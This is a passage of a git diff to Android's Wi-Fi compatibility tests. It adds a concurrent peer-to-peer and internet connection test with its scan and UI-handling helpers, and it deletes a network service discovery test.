+ findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks);
+ assertTrue("Need at least 2 saved network bssids in range",
+ matchingNetworksWithBssid.size() >= 2);
+ // Pick any 2 bssid for test.
+ mTestNetworkForPeerToPeer = matchingNetworksWithBssid.get(0);
+ mTestNetworkForInternetConnection = matchingNetworksWithBssid.get(1);
+
+ // Disconnect & disable auto-join on the saved network to prevent auto-connect from
+ // interfering with the test.
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> {
+ for (WifiConfiguration savedNetwork : savedNetworks) {
+ mWifiManager.disableNetwork(savedNetwork.networkId);
+ }
+ mWifiManager.disconnect();
+ });
+
+ // Wait for Wifi to be disconnected.
+ PollingCheck.check(
+ "Wifi not disconnected",
+ 20_000,
+ () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ // Re-enable networks.
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> {
+ for (WifiConfiguration savedNetwork : mWifiManager.getConfiguredNetworks()) {
+ mWifiManager.enableNetwork(savedNetwork.networkId, false);
+ }
+ });
+ // Release the requests after the test.
+ if (mNetworkCallback != null) {
+ mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
+ }
+ if (mNrNetworkCallback != null) {
+ mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
+ }
+ // Clear any existing app state after each test.
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+ turnScreenOff();
+ }
+
+ private static void setWifiEnabled(boolean enable) throws Exception {
+ // now trigger the change using shell commands.
+ SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
+ }
+
+ private void turnScreenOn() throws Exception {
+ mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ mUiDevice.executeShellCommand("wm dismiss-keyguard");
+ // Since the screen on/off intent is ordered, they will not be sent right now.
+ Thread.sleep(DURATION_SCREEN_TOGGLE);
+ }
+
+ private void turnScreenOff() throws Exception {
+ mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ // Since the screen on/off intent is ordered, they will not be sent right now.
+ Thread.sleep(DURATION_SCREEN_TOGGLE);
+ }
+
+ private static class TestScanResultsCallback extends WifiManager.ScanResultsCallback {
+ private final CountDownLatch mCountDownLatch;
+ public boolean onAvailableCalled = false;
+
+ TestScanResultsCallback(CountDownLatch countDownLatch) {
+ mCountDownLatch = countDownLatch;
+ }
+
+ @Override
+ public void onScanResultsAvailable() {
+ onAvailableCalled = true;
+ mCountDownLatch.countDown();
+ }
+ }
+
+ /**
+ * Loops through all the saved networks available in the scan results. Returns a list of
+ * WifiConfiguration with the matching bssid filled in {@link WifiConfiguration#BSSID}.
+ *
+ * Note:
+ * a) If there are more than 2 networks with the same SSID, but different credential type, then
+ * this matching may pick the wrong one.
+ */
+ private static List<WifiConfiguration> findMatchingSavedNetworksWithBssid(
+ @NonNull WifiManager wifiManager, @NonNull List<WifiConfiguration> savedNetworks) {
+ if (savedNetworks.isEmpty()) return Collections.emptyList();
+ List<WifiConfiguration> matchingNetworksWithBssids = new ArrayList<>();
+ CountDownLatch countDownLatch = new CountDownLatch(1);
+ for (int i = 0; i < SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID; i++) {
+ // Trigger a scan to get fresh scan results.
+ TestScanResultsCallback scanResultsCallback =
+ new TestScanResultsCallback(countDownLatch);
+ try {
+ wifiManager.registerScanResultsCallback(
+ Executors.newSingleThreadExecutor(), scanResultsCallback);
+ wifiManager.startScan(new WorkSource(myUid()));
+ // now wait for callback
+ assertTrue(countDownLatch.await(
+ DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ } finally {
+ wifiManager.unregisterScanResultsCallback(scanResultsCallback);
+ }
+ List<ScanResult> scanResults = wifiManager.getScanResults();
+ if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
+ for (ScanResult scanResult : scanResults) {
+ WifiConfiguration matchingNetwork = savedNetworks.stream()
+ .filter(network -> TextUtils.equals(
+ scanResult.SSID, removeDoubleQuotes(network.SSID)))
+ .findAny()
+ .orElse(null);
+ if (matchingNetwork != null) {
+ // make a copy in case we have 2 bssid's for the same network.
+ WifiConfiguration matchingNetworkCopy = new WifiConfiguration(matchingNetwork);
+ matchingNetworkCopy.BSSID = scanResult.BSSID;
+ matchingNetworksWithBssids.add(matchingNetworkCopy);
+ }
+ }
+ if (!matchingNetworksWithBssids.isEmpty()) break;
+ }
+ return matchingNetworksWithBssids;
+ }
+
+ private void assertConnectionEquals(@NonNull WifiConfiguration network,
+ @NonNull WifiInfo wifiInfo) {
+ assertEquals(network.SSID, wifiInfo.getSSID());
+ assertEquals(network.BSSID, wifiInfo.getBSSID());
+ }
+
+ private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+ private final CountDownLatch mCountDownLatch;
+ public boolean onAvailableCalled = false;
+ public boolean onUnavailableCalled = false;
+ public NetworkCapabilities networkCapabilities;
+
+ TestNetworkCallback(CountDownLatch countDownLatch) {
+ mCountDownLatch = countDownLatch;
+ }
+
+ @Override
+ public void onAvailable(Network network, NetworkCapabilities networkCapabilities,
+ LinkProperties linkProperties, boolean blocked) {
+ onAvailableCalled = true;
+ this.networkCapabilities = networkCapabilities;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onUnavailable() {
+ onUnavailableCalled = true;
+ mCountDownLatch.countDown();
+ }
+ }
+
+ private static class TestNetworkRequestMatchCallback implements NetworkRequestMatchCallback {
+ private final Object mLock;
+
+ public boolean onRegistrationCalled = false;
+ public boolean onAbortCalled = false;
+ public boolean onMatchCalled = false;
+ public boolean onConnectSuccessCalled = false;
+ public boolean onConnectFailureCalled = false;
+ public WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback = null;
+ public List<ScanResult> matchedScanResults = null;
+
+ TestNetworkRequestMatchCallback(Object lock) {
+ mLock = lock;
+ }
+
+ @Override
+ public void onUserSelectionCallbackRegistration(
+ WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback) {
+ synchronized (mLock) {
+ onRegistrationCalled = true;
+ this.userSelectionCallback = userSelectionCallback;
+ mLock.notify();
+ }
+ }
+
+ @Override
+ public void onAbort() {
+ synchronized (mLock) {
+ onAbortCalled = true;
+ mLock.notify();
+ }
+ }
+
+ @Override
+ public void onMatch(List<ScanResult> scanResults) {
+ synchronized (mLock) {
+ // This can be invoked multiple times. So, ignore after the first one to avoid
+ // disturbing the rest of the test sequence.
+ if (onMatchCalled) return;
+ onMatchCalled = true;
+ matchedScanResults = scanResults;
+ mLock.notify();
+ }
+ }
+
+ @Override
+ public void onUserSelectionConnectSuccess(WifiConfiguration config) {
+ synchronized (mLock) {
+ onConnectSuccessCalled = true;
+ mLock.notify();
+ }
+ }
+
+ @Override
+ public void onUserSelectionConnectFailure(WifiConfiguration config) {
+ synchronized (mLock) {
+ onConnectFailureCalled = true;
+ mLock.notify();
+ }
+ }
+ }
+
+ private void handleUiInteractions(WifiConfiguration network, boolean shouldUserReject) {
+ // can't use CountDownLatch since there are many callbacks expected and CountDownLatch
+ // cannot be reset.
+ // TODO(b/177591382): Use ArrayBlockingQueue/LinkedBlockingQueue
+ Object uiLock = new Object();
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ TestNetworkRequestMatchCallback networkRequestMatchCallback =
+ new TestNetworkRequestMatchCallback(uiLock);
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+
+ // 1. Wait for registration callback.
+ synchronized (uiLock) {
+ try {
+ mWifiManager.registerNetworkRequestMatchCallback(
+ Executors.newSingleThreadExecutor(), networkRequestMatchCallback);
+ uiLock.wait(DURATION_UI_INTERACTION);
+ } catch (InterruptedException e) {
+ }
+ }
+ assertTrue(networkRequestMatchCallback.onRegistrationCalled);
+ assertNotNull(networkRequestMatchCallback.userSelectionCallback);
+
+ // 2. Wait for matching scan results
+ synchronized (uiLock) {
+ try {
+ uiLock.wait(DURATION_UI_INTERACTION);
+ } catch (InterruptedException e) {
+ }
+ }
+ assertTrue(networkRequestMatchCallback.onMatchCalled);
+ assertNotNull(networkRequestMatchCallback.matchedScanResults);
+ assertThat(networkRequestMatchCallback.matchedScanResults.size()).isAtLeast(1);
+
+ // 3. Trigger connection to one of the matched networks or reject the request.
+ if (shouldUserReject) {
+ networkRequestMatchCallback.userSelectionCallback.reject();
+ } else {
+ networkRequestMatchCallback.userSelectionCallback.select(network);
+ }
+
+ // 4. Wait for connection success or abort.
+ synchronized (uiLock) {
+ try {
+ uiLock.wait(DURATION_UI_INTERACTION);
+ } catch (InterruptedException e) {
+ }
+ }
+ if (shouldUserReject) {
+ assertTrue(networkRequestMatchCallback.onAbortCalled);
+ } else {
+ assertTrue(networkRequestMatchCallback.onConnectSuccessCalled);
+ }
+ } finally {
+ mWifiManager.unregisterNetworkRequestMatchCallback(networkRequestMatchCallback);
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+
+ /**
+ * Tests the entire connection flow using the provided specifier.
+ *
+ * @param specifier Specifier to use for network request.
+ * @param shouldUserReject Whether to simulate user rejection or not.
+ */
+ private void testConnectionFlowWithSpecifier(
+ WifiConfiguration network, WifiNetworkSpecifier specifier, boolean shouldUserReject) {
+ CountDownLatch countDownLatch = new CountDownLatch(1);
+ // Fork a thread to handle the UI interactions.
+ Thread uiThread = new Thread(() -> handleUiInteractions(network, shouldUserReject));
+
+ // File the network request & wait for the callback.
+ mNrNetworkCallback = new TestNetworkCallback(countDownLatch);
+ try {
+ // File a request for wifi network.
+ mConnectivityManager.requestNetwork(
+ new NetworkRequest.Builder()
+ .addTransportType(TRANSPORT_WIFI)
+ .removeCapability(NET_CAPABILITY_INTERNET)
+ .setNetworkSpecifier(specifier)
+ .build(),
+ mNrNetworkCallback);
+ // Wait for the request to reach the wifi stack before kick-starting the UI
+ // interactions.
+ Thread.sleep(100);
+ // Start the UI interactions.
+ uiThread.run();
+ // now wait for callback
+ assertTrue(countDownLatch.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ }
+ if (shouldUserReject) {
+ assertTrue(mNrNetworkCallback.onUnavailableCalled);
+ } else {
+ assertTrue(mNrNetworkCallback.onAvailableCalled);
+ assertConnectionEquals(
+ network, (WifiInfo) mNrNetworkCallback.networkCapabilities.getTransportInfo());
+ }
+
+ try {
+ // Ensure that the UI interaction thread has completed.
+ uiThread.join(DURATION_UI_INTERACTION);
+ } catch (InterruptedException e) {
+ fail("UI interaction interrupted");
+ }
+ }
+
+ private void testSuccessfulConnectionWithSpecifier(
+ WifiConfiguration network, WifiNetworkSpecifier specifier) {
+ testConnectionFlowWithSpecifier(network, specifier, false);
+ }
+
+ private void testUserRejectionWithSpecifier(
+ WifiConfiguration network, WifiNetworkSpecifier specifier) {
+ testConnectionFlowWithSpecifier(network, specifier, true);
+ }
+
+ private static String removeDoubleQuotes(String string) {
+ return WifiInfo.sanitizeSsid(string);
+ }
+
+ private static class TestActionListener implements WifiManager.ActionListener {
+ private final CountDownLatch mCountDownLatch;
+ public boolean onSuccessCalled = false;
+ public boolean onFailedCalled = false;
+ public int failureReason = -1;
+
+ TestActionListener(CountDownLatch countDownLatch) {
+ mCountDownLatch = countDownLatch;
+ }
+
+ @Override
+ public void onSuccess() {
+ onSuccessCalled = true;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onFailure(int reason) {
+ onFailedCalled = true;
+ mCountDownLatch.countDown();
+ }
+ }
+
+ /**
+ * Triggers connection to one of the saved networks using {@link WifiManager#connect(
+ * WifiConfiguration, WifiManager.ActionListener)}
+ */
+ private void testConnectionFlowWithConnect(@NonNull WifiConfiguration network) {
+ CountDownLatch countDownLatchAl = new CountDownLatch(1);
+ CountDownLatch countDownLatchNr = new CountDownLatch(1);
+ TestActionListener actionListener = new TestActionListener(countDownLatchAl);
+ mNetworkCallback = new TestNetworkCallback(countDownLatchNr);
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+ // File a callback for wifi network.
+ mConnectivityManager.registerNetworkCallback(
+ new NetworkRequest.Builder()
+ .addTransportType(TRANSPORT_WIFI)
+ .addCapability(NET_CAPABILITY_INTERNET)
+ .build(),
+ mNetworkCallback);
+ // Trigger the connection.
+ mWifiManager.connect(network, actionListener);
+ // now wait for action listener callback
+ assertTrue(countDownLatchAl.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+ // check if we got the success callback
+ assertTrue(actionListener.onSuccessCalled);
+
+ // Wait for connection to complete & ensure we are connected to the saved network.
+ assertTrue(countDownLatchNr.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+ assertTrue(mNetworkCallback.onAvailableCalled);
+ assertConnectionEquals(
+ network, (WifiInfo) mNetworkCallback.networkCapabilities.getTransportInfo());
+ } catch (InterruptedException e) {
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+ private static WifiNetworkSpecifier.Builder
+ createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+ @NonNull WifiConfiguration network) {
+ WifiNetworkSpecifier.Builder specifierBuilder = new WifiNetworkSpecifier.Builder()
+ .setSsid(removeDoubleQuotes(network.SSID))
+ .setBssid(MacAddress.fromString(network.BSSID));
+ if (network.preSharedKey != null) {
+ if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
+ specifierBuilder.setWpa2Passphrase(removeDoubleQuotes(network.preSharedKey));
+ } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
+ specifierBuilder.setWpa3Passphrase(removeDoubleQuotes(network.preSharedKey));
+ } else {
+ fail("Unsupported security type found in saved networks");
+ }
+ } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+ specifierBuilder.setIsEnhancedOpen(true);
+ } else if (!network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
+ fail("Unsupported security type found in saved networks");
+ }
+ specifierBuilder.setIsHiddenSsid(network.hiddenSSID);
+ return specifierBuilder;
+ }
+
+ private long getNumWifiConnections() {
+ Network[] networks = mConnectivityManager.getAllNetworks();
+ return Arrays.stream(networks)
+ .filter(n ->
+ mConnectivityManager.getNetworkCapabilities(n).hasTransport(TRANSPORT_WIFI))
+ .count();
+ }
+
+ /**
+ * Tests the concurrent connection flow.
+ * 1. Connect to a network using internet connectivity API.
+ * 2. Connect to a network using peer to peer API.
+ * 3. Verify that both connections are active.
+ */
+ @Test
+ public void testConnectToPeerPeerNetworkWhenConnectedToInternetNetwork() throws Exception {
+ // First trigger internet connectivity.
+ testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+ // Now trigger peer to peer connectivity.
+ WifiNetworkSpecifier specifier =
+ createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+ mTestNetworkForPeerToPeer)
+ .build();
+ testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+ // Ensure that there are 2 wifi connections available for apps.
+ assertEquals(2, getNumWifiConnections());
+ }
+
+ /**
+ * Tests the concurrent connection flow.
+ * 1. Connect to a network using peer to peer API.
+ * 2. Connect to a network using internet connectivity API.
+ * 3. Verify that both connections are active.
+ */
+ @Test
+ public void testConnectToInternetNetworkWhenConnectedToPeerPeerNetwork() throws Exception {
+ // First trigger peer to peer connectivity.
+ WifiNetworkSpecifier specifier =
+ createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+ mTestNetworkForPeerToPeer)
+ .build();
+ testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+ // Now trigger internet connectivity.
+ testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+ // Ensure that there are 2 wifi connections available for apps.
+ assertEquals(2, getNumWifiConnections());
+ }
+
+ /**
+ * Tests the concurrent connection flow.
+ * 1. Connect to a network using internet connectivity API.
+ * 2. Trigger connect to a network using peer to peer API which is rejected by user.
+ * 3. Verify that only one connection is active.
+ */
+ @Test
+ public void testPeerToPeerConnectionRejectWhenConnectedToInternetNetwork() throws Exception {
+ // First trigger internet connectivity.
+ testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+ // Now trigger peer to peer connectivity.
+ WifiNetworkSpecifier specifier =
+ createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+ mTestNetworkForPeerToPeer)
+ .build();
+ testUserRejectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+ // Ensure that there is only 1 wifi connection available for apps.
+ assertEquals(1, getNumWifiConnections());
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java
deleted file mode 100644
index a65f06f..0000000
--- a/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java
+++ /dev/null
@@ -1,594 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.wifi.cts;
-
-import android.content.Context;
-import android.net.nsd.NsdManager;
-import android.net.nsd.NsdServiceInfo;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.io.IOException;
-import java.net.ServerSocket;
-import java.util.Arrays;
-import java.util.Random;
-import java.util.List;
-import java.util.ArrayList;
-
-@AppModeFull(reason = "Socket cannot bind in instant app mode")
-public class NsdManagerTest extends WifiJUnit3TestBase {
-
- private static final String TAG = "NsdManagerTest";
- private static final String SERVICE_TYPE = "_nmt._tcp";
- private static final int TIMEOUT = 2000;
-
- private static final boolean DBG = false;
-
- NsdManager mNsdManager;
-
- NsdManager.RegistrationListener mRegistrationListener;
- NsdManager.DiscoveryListener mDiscoveryListener;
- NsdManager.ResolveListener mResolveListener;
- private NsdServiceInfo mResolvedService;
-
- public NsdManagerTest() {
- initRegistrationListener();
- initDiscoveryListener();
- initResolveListener();
- }
-
- private void initRegistrationListener() {
- mRegistrationListener = new NsdManager.RegistrationListener() {
- @Override
- public void onRegistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
- setEvent("onRegistrationFailed", errorCode);
- }
-
- @Override
- public void onUnregistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
- setEvent("onUnregistrationFailed", errorCode);
- }
-
- @Override
- public void onServiceRegistered(NsdServiceInfo serviceInfo) {
- setEvent("onServiceRegistered", serviceInfo);
- }
-
- @Override
- public void onServiceUnregistered(NsdServiceInfo serviceInfo) {
- setEvent("onServiceUnregistered", serviceInfo);
- }
- };
- }
-
- private void initDiscoveryListener() {
- mDiscoveryListener = new NsdManager.DiscoveryListener() {
- @Override
- public void onStartDiscoveryFailed(String serviceType, int errorCode) {
- setEvent("onStartDiscoveryFailed", errorCode);
- }
-
- @Override
- public void onStopDiscoveryFailed(String serviceType, int errorCode) {
- setEvent("onStopDiscoveryFailed", errorCode);
- }
-
- @Override
- public void onDiscoveryStarted(String serviceType) {
- NsdServiceInfo info = new NsdServiceInfo();
- info.setServiceType(serviceType);
- setEvent("onDiscoveryStarted", info);
- }
-
- @Override
- public void onDiscoveryStopped(String serviceType) {
- NsdServiceInfo info = new NsdServiceInfo();
- info.setServiceType(serviceType);
- setEvent("onDiscoveryStopped", info);
- }
-
- @Override
- public void onServiceFound(NsdServiceInfo serviceInfo) {
- setEvent("onServiceFound", serviceInfo);
- }
-
- @Override
- public void onServiceLost(NsdServiceInfo serviceInfo) {
- setEvent("onServiceLost", serviceInfo);
- }
- };
- }
-
- private void initResolveListener() {
- mResolveListener = new NsdManager.ResolveListener() {
- @Override
- public void onResolveFailed(NsdServiceInfo serviceInfo, int errorCode) {
- setEvent("onResolveFailed", errorCode);
- }
-
- @Override
- public void onServiceResolved(NsdServiceInfo serviceInfo) {
- mResolvedService = serviceInfo;
- setEvent("onServiceResolved", serviceInfo);
- }
- };
- }
-
-
-
- private final class EventData {
- EventData(String callbackName, NsdServiceInfo info) {
- mCallbackName = callbackName;
- mSucceeded = true;
- mErrorCode = 0;
- mInfo = info;
- }
- EventData(String callbackName, int errorCode) {
- mCallbackName = callbackName;
- mSucceeded = false;
- mErrorCode = errorCode;
- mInfo = null;
- }
- private final String mCallbackName;
- private final boolean mSucceeded;
- private final int mErrorCode;
- private final NsdServiceInfo mInfo;
- }
-
- private final List<EventData> mEventCache = new ArrayList<EventData>();
-
- private void setEvent(String callbackName, int errorCode) {
- if (DBG) Log.d(TAG, callbackName + " failed with " + String.valueOf(errorCode));
- EventData eventData = new EventData(callbackName, errorCode);
- synchronized (mEventCache) {
- mEventCache.add(eventData);
- mEventCache.notify();
- }
- }
-
- private void setEvent(String callbackName, NsdServiceInfo info) {
- if (DBG) Log.d(TAG, "Received event " + callbackName + " for " + info.getServiceName());
- EventData eventData = new EventData(callbackName, info);
- synchronized (mEventCache) {
- mEventCache.add(eventData);
- mEventCache.notify();
- }
- }
-
- void clearEventCache() {
- synchronized(mEventCache) {
- mEventCache.clear();
- }
- }
-
- int eventCacheSize() {
- synchronized(mEventCache) {
- return mEventCache.size();
- }
- }
-
- private int mWaitId = 0;
- private EventData waitForCallback(String callbackName) {
-
- synchronized(mEventCache) {
-
- mWaitId ++;
- if (DBG) Log.d(TAG, "Waiting for " + callbackName + ", id=" + String.valueOf(mWaitId));
-
- try {
- long startTime = android.os.SystemClock.uptimeMillis();
- long elapsedTime = 0;
- int index = 0;
- while (elapsedTime < TIMEOUT ) {
- // first check if we've received that event
- for (; index < mEventCache.size(); index++) {
- EventData e = mEventCache.get(index);
- if (e.mCallbackName.equals(callbackName)) {
- if (DBG) Log.d(TAG, "exiting wait id=" + String.valueOf(mWaitId));
- return e;
- }
- }
-
- // Not yet received, just wait
- mEventCache.wait(TIMEOUT - elapsedTime);
- elapsedTime = android.os.SystemClock.uptimeMillis() - startTime;
- }
- // we exited the loop because of TIMEOUT; fail the call
- if (DBG) Log.d(TAG, "timed out waiting id=" + String.valueOf(mWaitId));
- return null;
- } catch (InterruptedException e) {
- return null; // wait timed out!
- }
- }
- }
-
- private EventData waitForNewEvents() throws InterruptedException {
- if (DBG) Log.d(TAG, "Waiting for a bit, id=" + String.valueOf(mWaitId));
-
- long startTime = android.os.SystemClock.uptimeMillis();
- long elapsedTime = 0;
- synchronized (mEventCache) {
- int index = mEventCache.size();
- while (elapsedTime < TIMEOUT ) {
- // first check if we've received that event
- for (; index < mEventCache.size(); index++) {
- EventData e = mEventCache.get(index);
- return e;
- }
-
- // Not yet received, just wait
- mEventCache.wait(TIMEOUT - elapsedTime);
- elapsedTime = android.os.SystemClock.uptimeMillis() - startTime;
- }
- }
-
- return null;
- }
-
- private String mServiceName;
-
- @Override
- public void setUp() throws Exception {
- super.setUp();
- if (DBG) Log.d(TAG, "Setup test ...");
- mNsdManager = (NsdManager) getContext().getSystemService(Context.NSD_SERVICE);
-
- Random rand = new Random();
- mServiceName = new String("NsdTest");
- for (int i = 0; i < 4; i++) {
- mServiceName = mServiceName + String.valueOf(rand.nextInt(10));
- }
- }
-
- @Override
- public void tearDown() throws Exception {
- if (DBG) Log.d(TAG, "Tear down test ...");
- super.tearDown();
- }
-
- public void testNDSManager() throws Exception {
- EventData lastEvent = null;
-
- if (DBG) Log.d(TAG, "Starting test ...");
-
- NsdServiceInfo si = new NsdServiceInfo();
- si.setServiceType(SERVICE_TYPE);
- si.setServiceName(mServiceName);
-
- byte testByteArray[] = new byte[] {-128, 127, 2, 1, 0, 1, 2};
- String String256 = "1_________2_________3_________4_________5_________6_________" +
- "7_________8_________9_________10________11________12________13________" +
- "14________15________16________17________18________19________20________" +
- "21________22________23________24________25________123456";
-
- // Illegal attributes
- try {
- si.setAttribute(null, (String) null);
- fail("Could set null key");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute("", (String) null);
- fail("Could set empty key");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute(String256, (String) null);
- fail("Could set key with 255 characters");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute("key", String256.substring(3));
- fail("Could set key+value combination with more than 255 characters");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute("key", String256.substring(4));
- fail("Could set key+value combination with 255 characters");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute(new String(new byte[]{0x19}), (String) null);
- fail("Could set key with invalid character");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute("=", (String) null);
- fail("Could set key with invalid character");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute(new String(new byte[]{0x7F}), (String) null);
- fail("Could set key with invalid character");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- // Allowed attributes
- si.setAttribute("booleanAttr", (String) null);
- si.setAttribute("keyValueAttr", "value");
- si.setAttribute("keyEqualsAttr", "=");
- si.setAttribute(" whiteSpaceKeyValueAttr ", " value ");
- si.setAttribute("binaryDataAttr", testByteArray);
- si.setAttribute("nullBinaryDataAttr", (byte[]) null);
- si.setAttribute("emptyBinaryDataAttr", new byte[]{});
- si.setAttribute("longkey", String256.substring(9));
-
- ServerSocket socket;
- int localPort;
-
- try {
- socket = new ServerSocket(0);
- localPort = socket.getLocalPort();
- si.setPort(localPort);
- } catch (IOException e) {
- if (DBG) Log.d(TAG, "Could not open a local socket");
- assertTrue(false);
- return;
- }
-
- if (DBG) Log.d(TAG, "Port = " + String.valueOf(localPort));
-
- clearEventCache();
-
- mNsdManager.registerService(si, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);
- lastEvent = waitForCallback("onServiceRegistered"); // id = 1
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
- assertTrue(eventCacheSize() == 1);
-
- // We may not always get the name that we tried to register;
- // This events tells us the name that was registered.
- String registeredName = lastEvent.mInfo.getServiceName();
- si.setServiceName(registeredName);
-
- clearEventCache();
-
- mNsdManager.discoverServices(SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD,
- mDiscoveryListener);
-
- // Expect discovery started
- lastEvent = waitForCallback("onDiscoveryStarted"); // id = 2
-
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
-
- // Remove this event, so accounting becomes easier later
- synchronized (mEventCache) {
- mEventCache.remove(lastEvent);
- }
-
- // Expect a service record to be discovered (and filter the ones
- // that are unrelated to this test)
- boolean found = false;
- for (int i = 0; i < 32; i++) {
-
- lastEvent = waitForCallback("onServiceFound"); // id = 3
- if (lastEvent == null) {
- // no more onServiceFound events are being reported!
- break;
- }
-
- assertTrue(lastEvent.mSucceeded);
-
- if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
- lastEvent.mInfo.getServiceName());
-
- if (lastEvent.mInfo.getServiceName().equals(registeredName)) {
- // Save it, as it will get overwritten with new serviceFound events
- si = lastEvent.mInfo;
- found = true;
- }
-
- // Remove this event from the event cache, so it won't be found by subsequent
- // calls to waitForCallback
- synchronized (mEventCache) {
- mEventCache.remove(lastEvent);
- }
- }
-
- assertTrue(found);
-
- // We've removed all serviceFound events, and we've removed the discoveryStarted
- // event as well, so now the event cache should be empty!
- assertTrue(eventCacheSize() == 0);
-
- // Resolve the service
- clearEventCache();
- mNsdManager.resolveService(si, mResolveListener);
- lastEvent = waitForCallback("onServiceResolved"); // id = 4
-
- assertNotNull(mResolvedService);
-
- // Check Txt attributes
- assertEquals(8, mResolvedService.getAttributes().size());
- assertTrue(mResolvedService.getAttributes().containsKey("booleanAttr"));
- assertNull(mResolvedService.getAttributes().get("booleanAttr"));
- assertEquals("value", new String(mResolvedService.getAttributes().get("keyValueAttr")));
- assertEquals("=", new String(mResolvedService.getAttributes().get("keyEqualsAttr")));
- assertEquals(" value ", new String(mResolvedService.getAttributes()
- .get(" whiteSpaceKeyValueAttr ")));
- assertEquals(String256.substring(9), new String(mResolvedService.getAttributes()
- .get("longkey")));
- assertTrue(Arrays.equals(testByteArray,
- mResolvedService.getAttributes().get("binaryDataAttr")));
- assertTrue(mResolvedService.getAttributes().containsKey("nullBinaryDataAttr"));
- assertNull(mResolvedService.getAttributes().get("nullBinaryDataAttr"));
- assertTrue(mResolvedService.getAttributes().containsKey("emptyBinaryDataAttr"));
- assertNull(mResolvedService.getAttributes().get("emptyBinaryDataAttr"));
-
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
-
- if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": Port = " +
- String.valueOf(lastEvent.mInfo.getPort()));
-
- assertTrue(lastEvent.mInfo.getPort() == localPort);
- assertTrue(eventCacheSize() == 1);
-
- checkForAdditionalEvents();
- clearEventCache();
-
- // Unregister the service
- mNsdManager.unregisterService(mRegistrationListener);
- lastEvent = waitForCallback("onServiceUnregistered"); // id = 5
-
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
-
- // Expect a callback for service lost
- lastEvent = waitForCallback("onServiceLost"); // id = 6
-
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mInfo.getServiceName().equals(registeredName));
-
